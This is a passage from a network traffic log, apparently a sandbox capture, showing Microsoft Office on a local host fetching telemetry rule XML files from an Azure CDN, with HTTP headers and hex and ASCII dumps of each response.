C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.5	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:39 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:39 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:39 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 2b07ac6c-201e-003c-64d8-1e30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214639Z-16b659b44994gzgd4bz42hx7vg0000000b0g00000000gstz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:39 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:40 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:40 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:40 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 4c920d0e-c01e-008d-4cca-202eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214640Z-15b8d89586fqj7k5uht6e8nnew00000005bg00000000r44n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:40 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:40 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:40 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:40 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 8464a4f8-501e-0064-4dca-1f1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214640Z-r197bdfb6b49k6rshrw4zhxpu00000000c4g00000000e81b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:40 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:40 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:40 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:40 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 113d00c9-b01e-0001-4f23-2146e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214640Z-16b659b4499mk7vv3349cr2qug0000000d2000000000kc8y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 21:46:40 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:40 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:40 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:40 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: e1d8db9a-401e-0048-7bd8-1e0409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214640Z-16b659b4499rgn6gzhcff90q8g0000000bsg00000000ncpf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 21:46:40 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:40 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:41 UTC	564	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:41 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: c3102c92-d01e-005a-09a7-217fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214640Z-r197bdfb6b4h4wv5udghmrh3zg00000000p000000000500y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-18 21:46:41 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:41 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:42 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:41 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 4f3c0613-901e-0083-7ed8-1ebb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214641Z-16b659b4499rgn6gzhcff90q8g0000000bug00000000dhwe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 21:46:42 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.5	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:41 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:42 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:41 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: b1f1651c-201e-0085-16d8-1e34e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214641Z-16b659b4499z4tq4vyreufa8gn00000008bg00000000nf90 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:42 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:41 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:42 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:42 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 965904bf-301e-0099-61d8-1e6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214642Z-r197bdfb6b4b582bwynewx7zgn00000003w000000000fx9v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:42 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:41 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:42 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:42 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 31a4ddbd-d01e-007a-58d8-1ef38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214642Z-16b659b44994c5rr2b3ze9shcc0000000b2g00000000g6hs x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:42 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:42 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:42 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:42 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 31a4ddf4-d01e-007a-0dd8-1ef38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214642Z-r197bdfb6b4qz2jg69037h393n00000005c000000000rh46 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:42 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:43 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
